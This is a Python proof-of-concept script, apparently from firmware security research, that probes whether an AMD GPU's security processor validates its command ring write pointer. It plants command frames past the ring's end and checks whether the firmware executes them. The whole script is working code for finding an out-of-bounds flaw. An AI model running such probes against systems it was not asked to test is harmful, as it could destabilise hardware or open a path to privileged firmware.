#!/usr/bin/env python3
"""Is the ring write pointer validated against the declared ring size?

The frame contents are now fully mapped, but the ring INDEX never was. tinygrad's own bug
(never wrapping wptr) hid this: if the PSP does not clamp wptr to the ring's size, it fetches
a frame from `ring_base + wptr*4` beyond the declared allocation -- an out-of-bounds read
performed by trusted firmware on a host-chosen index.

Method: allocate a region that *follows* the ring, plant a valid frame there, and set wptr to
the index that addresses it. If the PSP executes that frame, the index is unvalidated.

  A control: frame inside the ring at a legal index   -> must execute
  B frame one ring-length past the end                -> executes? then wptr is unchecked
  C frame far past the end (1 MB)                     -> ditto
Distinguished by whether the command completes AND the fence lands, both observable.
"""
import ctypes, glob, struct, sys, time
sys.path.insert(0,'/root/psp/hw')
from tinygrad import Device
import tinygrad.runtime.autogen.am.am as am
adev=Device["AMD"].iface.dev_impl; psp=adev.psp
RESP=864; FRAME=ctypes.sizeof(am.struct_psp_gfx_rb_frame); step=FRAME//4
def alloc(n):
    pa=adev.mm.palloc(n,align=0x1000,zero=True,boot=False); return pa,adev.paddr2mc(pa)
MAGIC=0x515A0001
blob=open(glob.glob('/root/psp/contall/ta_42-0-0-6_1c874c3c*')[0],'rb').read()
ap_,amc=alloc(0x80000); cbuf,cbmc=alloc(0x8000); scratch,smc=alloc(0x1000)
n=(len(blob)+3)&~3
adev.vram.view(ap_,n)[:]=blob+b'\x00'*(n-len(blob)); adev.gmc.flush_hdp()
print('ring paddr=%#x size=%#x (%d dwords, %d frames)'
      %(psp.ring_paddr, psp.ring_size, psp.ring_size//4, psp.ring_size//FRAME), flush=True)
def mkframe():
    c=am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_LOAD_TA); t=c.cmd.cmd_load_ta
    t.app_phy_addr_lo,t.app_phy_addr_hi=amc&0xFFFFFFFF,amc>>32; t.app_len=len(blob)
    t.cmd_buf_phy_addr_lo,t.cmd_buf_phy_addr_hi=cbmc&0xFFFFFFFF,cbmc>>32; t.cmd_buf_len=0x4000
    adev.vram.view(psp.cmd_paddr, ctypes.sizeof(c))[:]=memoryview(c).cast('B')
    adev.vram.view(psp.cmd_paddr+RESP,4,'I')[0]=0xA5A5A5A5
    f=am.struct_psp_gfx_rb_frame(fence_value=MAGIC,
        cmd_buf_addr_lo=adev.paddr2mc(psp.cmd_paddr)&0xFFFFFFFF,
        cmd_buf_addr_hi=adev.paddr2mc(psp.cmd_paddr)>>32,
        fence_addr_lo=smc&0xFFFFFFFF, fence_addr_hi=smc>>32)
    return bytes(memoryview(f).cast('B'))
def go(byte_off, tag, wait=1.5):
    adev.vram.view(scratch,4,'I')[0]=0
    fr=mkframe()
    adev.vram.view(psp.ring_paddr+byte_off, FRAME)[:]=fr
    adev.gmc.flush_hdp()
    h0=adev.reg(f"{psp.reg_pref}_81").read()
    adev.reg(f"{psp.reg_pref}_67").write(byte_off//4 + step)
    t0=time.time(); st=None
    while time.time()-t0<wait:
        adev.gmc.flush_hdp()
        v=struct.unpack_from('<I',bytes(adev.vram.view(psp.cmd_paddr+RESP,4)[:]),0)[0]
        if v!=0xA5A5A5A5: st=v; break
    adev.gmc.flush_hdp()
    fence=struct.unpack_from('<I',bytes(adev.vram.view(scratch,4)[:]),0)[0]
    alive=adev.reg(f"{psp.reg_pref}_81").read()!=h0
    print('  %-38s wptr=%#-9x resp=%-9s fence=%-5s hb=%s'%(tag, byte_off//4+step,
          hex(st) if st is not None else 'TIMEOUT', fence==MAGIC, alive), flush=True)
    return st is not None and fence==MAGIC
# reserve memory immediately after the ring so the out-of-range frames land in OUR pages
pad,_=alloc(psp.ring_size*2 + 0x200000)
ok_a = go(0, 'A control: legal index 0')
ok_b = go(psp.ring_size, 'B one ring-length past the end')
ok_c = go(psp.ring_size + 0x100000, 'C 1 MB past the end')
print('\nVERDICT: %s'%('wptr is UNVALIDATED - the PSP fetched a frame outside the declared ring'
      if (ok_a and (ok_b or ok_c)) else
      ('wptr bounded to the ring (out-of-range indices do not execute)' if ok_a else
       'control failed -> void')), flush=True)